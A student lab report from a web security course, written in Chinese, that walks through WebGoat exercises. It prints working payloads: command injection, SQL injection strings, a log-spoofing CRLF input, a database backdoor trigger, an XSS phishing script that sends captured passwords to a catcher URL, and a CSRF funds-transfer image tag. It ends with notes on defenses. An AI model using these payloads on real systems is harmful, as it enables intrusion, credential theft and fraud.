2018-2019-2 20165315《网络对抗技术》Exp9 Web安全基础
2018-2019-2 20165315《网络对抗技术》Exp9 Web安全基础
目录
一、实验内容
二、实验步骤
1、Webgoat前期准备
2、SQL注入攻击
- Command Injection
- Numeric SQL Injection
- Log Spoofing
- String SQL Injection
- LAB:SQL Injection
- Database Backdoors
3、XSS攻击
4、CSRF攻击
三、实验中遇到的问题
四、实验总结
1、实验后回答问题
2、实验感想
一、实验内容
本实践的目标理解常用网络攻击技术的基本原理。完成Webgoat实践下相关实验。
二、实验步骤
1、Webgoat前期准备
- 从GitHub上下载jar包,并拷贝到本地
- 使用命令
java -jar webgoat-container-7.0.1-war-exec.jar
运行Webgoat - 打开浏览器输入
localhost:8080/WebGoat
,使用默认名和密码登录WebGoat课程
2、SQL注入攻击
- 选择
Injection Flaws
Command Injection,即命令注入,是对任何参数驱动的站点的严重威胁,且容易扩散,造成更坏的影响。
- 右键选择
Inspect Element
进入调试界面,对源代码进行修改 - 选择在下拉列表的
BackDoors.help
后面加上"& netstat -an & ipconfig"
,其中netstat -an
命令能看到所有和本地计算机建立连接的IP,而ipconfig
可以查看本机IP信息
- 点击
View
,可看到命令的输出结果,即所有和本地计算机建立连接的IP和本机IP信息,攻击成功!
Numeric SQL Injection,即数字型注入,在
SELECT * FROM weather_data WHERE station = [station]
中station 字段中注入特征字符,能组合成新的SQL 语句。
- 右键选择
Inspect Element
进入调试界面,对源代码进行修改 - 在选项列表中,任意选择一个值,比如
101
,后面加上or 1=1
- 即可看见所有城市的天气状况
Log Spoofing,即日志欺骗,攻击者可以利用这种方式清除他们在日志中的痕迹。
- 在文本框中输入用户名
yanhan%0d%0aLogin Succeeded for username: admin
,其中%0d
是空格,%0a
是换行
String SQL Injection,即字符串注入,基于某个特殊查询语句构造SQL注入字符串。
- 在last name中输入
' OR '1'='1
,由于'1'='1'
是永真式,所有的用户信息将会被输出
LAB:SQL Injection,即实验室SQL注入,分为以下几个Stage
Stage1:String SQL Injection,即字符串注入
- 和上面的任务一样,在密码框中输入
' or 1=1 --
,可以在不知道密码的情况下登录账户Neville
Stage3:Numeric SQL Injection,即数字型注入
- 和上面的任务一样,修改网页代码中的value值,value值是员工ID,而要设置成老板的ID,可以使用排序来筛选信息,因为老板一般工资都是最高的,将id的value改成
101 or 1=1 order by salary desc --
,就可以以员工身份查看老板的工资了
Database Backdoors,即数据库后门
- 在输入框中输入
101; update employee set salary=6666
可以更新员工工资,没有经过任何验证就可以简单更改数据表
同理可以设置增删查改语句对数据库进行操作
在输入框输入
101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='john@hackme.com' WHERE userid = NEW.userid
,意思是创建一个后门触发器,当有人往数据表里插入一行数据时,就会自动触发该后门,接着将新插入一行的email设置为john@hackme.com
,攻击者就可以通过邮箱接收到消息了~
3、XSS攻击
Phishing with XSS,即网络钓鱼,在XSS的帮助下,可以制作钓鱼工具或向某些官方页面中增加内容,很难发现该内容是否存在威胁。
- 先编写一个有用户名和密码输入框的表单
<form name="phish">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
- 再编写
onclick
时对应的hack()
函数
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("You are under attack!!!User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
- 最后将两个代码综合在一起,直接输入搜索框,设计出一个简单的登录界面获取用户名和密码,并弹出警告框
4、CSRF攻击
跨站请求伪造,目标是向新闻组发送电子邮件,该电子邮件包含一个图像,其URL指向恶意请求,通过身份认证的CSRF电子邮件的接收者将转移资金。
- 查看右边列表参数,在
title
框中输入任意标题,在Message
框中输入<img src="attack?Screen=380&menu=900&transferFunds=100000"/>
,当满足Screen
值为380,menu
值为900时,产生攻击链接,一旦点击该链接就会触发转移100000的资金。
三、实验中出现的问题
- 实现SQL注入攻击中实验室注入攻击时,出现输入的SQL指令没有问题,但是登录失败的问题
解决过程:
由于源代码规定了密码框长度为8位,故编写的SQL语句无法完全写入密码框,在源代码中更改密码长度即可。
四、实验总结
1、实验后回答问题
- SQL注入攻击原理,如何防御
对漏洞注入点相关代码进行处理,筛除特殊字符,以规范代码安全性;
关闭或删除不必要的交互式提交表单页面;
普通用户与系统管理员用户的权限要有严格的区分;
不要在服务器端放置备份的文件以免受到感染,或备份的文件含有漏洞,造成切入点。
- XSS攻击的原理,如何防御
网站开发者运用转义安全字符等手段,并且坚持不相信用户输入的任何数据的原则
表单提交的时候进行特殊字符的检测
对输入框做长度限制
在后台对数据进行过滤
- CSRF攻击原理,如何防御
使用令牌,每一个网页包含一个web server产生的令牌,提交时,也将该令牌提交到服务器,服务器进行判断,如果令牌不符合,就判定存在CSRF攻击;
将提交方法改为post,或将 GET请求设置为只浏览而不改变服务器端资源
定期清理cookie
使用随机数对表单中的值进行验证
2、实验感想
终于是最后一个实验啦yeah!通过这学期9个实验的漫漫长路,我发现自己学到了很多新知识,对网络攻防的内容也有一些兴趣,虽然很多方面做的还是有所不足,但是仍然收获颇丰,至少我明白了网络环境危机四伏,不要轻易在网络上泄漏自己的私密信息。
2018-2019-2 20165315《网络对抗技术》Exp9 Web安全基础的更多相关文章
- 20145226夏艺华 网络对抗技术 EXP9 web安全基础实践
20145226夏艺华 网络对抗技术 EXP9 web安全基础实践 !!!免考项目:wannacry病毒分析+防护 一.实验后回答问题 SQL注入攻击原理,如何防御 攻击原理 "SQL注入& ...
- 2018-2019-2 20165205 网络对抗技术 Exp9 Web安全基础
2018-2019-2 20165205 网络对抗技术 Exp9 Web安全基础 1.基础问题 SQL注入攻击原理,如何防御 原理: SQL注入指攻击者在提交查询请求时将SQL语句插入到请求内容中,同 ...
- 20155208徐子涵《网络对抗》Exp9 Web安全基础
20155208徐子涵<网络对抗>Exp9 Web安全基础 实验要求 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 实验过程 最后一次了,没有选择尝试免考项目 ...
- 20145208 蔡野 《网络对抗》Exp9 web安全基础实践
20145208 蔡野 <网络对抗>Exp9 web安全基础实践 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 实验后回答问题 (1)SQL注入攻击原理,如何 ...
- #20155232《网络对抗》Exp9 Web安全基础
20155232<网络对抗>Exp9 Web安全基础 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 实验过程 WebGoat Webgoat是OWASP组织研 ...
- 20155302《网络对抗》Exp9 Web安全基础
20155302<网络对抗>Exp9 Web安全基础 实验内容 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 实验过程 1.webgoat的安装启动 使用自己 ...
- 20155308《网络对抗》Exp9 Web安全基础实践
20155308<网络对抗>Exp9 Web安全基础实践 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 基础问题回答 SQL注入攻击原理,如何防御? 原理:攻 ...
- 20155323刘威良《网络对抗》Exp9 Web安全基础
20155323刘威良<网络对抗>Exp9 Web安全基础 实践目的 理解常用网络攻击技术的基本原理. 实践内容 Webgoat实践下相关实验. 实践过程 开启WebGoat WebGoa ...
- 20145301赵嘉鑫 《网络对抗》Exp9 Web安全基础实践
20145301赵嘉鑫 <网络对抗>Exp9 Web安全基础实践 实验后回答问题 (1)SQL注入攻击原理,如何防御 SQL注入攻击原理:SQL 是一门 ANSI 的标准计算机语言,用来访 ...
- 20145233《网络对抗》Exp9 Web安全基础实践
20145233<网络对抗>Exp9 Web安全基础实践 实验问题思考 SQL注入攻击原理,如何防御? SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符 ...
随机推荐
- Win10 CompatTelRunner.exe占用磁盘高的解决办法
(1)在运行里输入 taskschd.msc, 打开windows计划任务 (2)参考下图在Application Experience下,1,2,3,4步骤,把所有带有 “CompatTelRun ...
- 安装oracle时出现的问题
数据库引擎和几个功能安装失败后 ,重新再装还是一样,好不容易全部功能装完成后结果发现登录不了oracle!!!!!!!!!!!!! 气死人,搞了一上午才发现原来是微软账号在搞事,登录本地管理员账户就 ...
- 代码语法高亮踩坑-原理,问题, PRE元素及htmlentity
语法高亮库基础原理 在研究使用能够在web页面上代码语法高显的解决方案时,发现有很多现成的开源库.比较中意的有prism.js,highlightjs.他们的原理基本上核心就两点: 1. 利用html ...
- 初识DP
写在前面的话: 其实在去年寒假奥赛集训的时候,就已经接触DP了,但自己是真得对那时的自己很无语,不会,想不通,记不住就不管了,也没想过要一定把它吃透--但该来的总还是要来的. 所以现在就来玩好玩的DP ...
- Loadsh 常用方法总结以及在vue中使用Loadsh
Loadsh 常用方法总结以及在vue中使用Loadsh Lodash 是一个一致性.模块化.高性能的 JavaScript 实用工具库.处理复杂数组,对比等可以直接采用该库,也方便快捷. 官方网站 ...
- javascript高级程序设计学习历程
第三章 基本概念 3.1 语法 3.1.1 区分大小写 ECMAScript中的一切(变量,函数,操作符)都区分大小写的 3.1.2 标识符 标识符:变量,函数,属性的名字以及函数的参数. 标识符的命 ...
- Vue.js最佳实践--给大量子孙组件传值(provide/inject)
开发中有个需求,有个Parent组件(例如div)下,输入框,下拉框,radiobutton等可编辑的子孙组件几百个,根据某个值统一控制Parent下面的所有控件的disabled状态 类似于这样,给 ...
- SpringBoot+logback实现按业务输出日志到不同的文件
公司有个项目,需要和几个第三方系统对接.这种项目,日志一定要记录详细,不然出了问题就是各种甩锅.虽然项目里面和第三方系统对接相关的业务记录的日志很详细,但是由于整个项目的日志都在一个文件中,排 ...
- nginx之旅(第一篇):nginx下载安装、nginx启动与关闭、nginx配置文件详解、nginx默认网站
一.nginx下载安装 版本nginx 1.15.5 系统环境centos7.5(本机ip192.168.199.228) 关闭selinux 和防火墙firewall 1.下载 wget http: ...
- (原)Ubuntu安装TensorRT
转载请注明出处: https://www.cnblogs.com/darkknightzh/p/11129472.html 参考网址: https://docs.nvidia.com/deeplear ...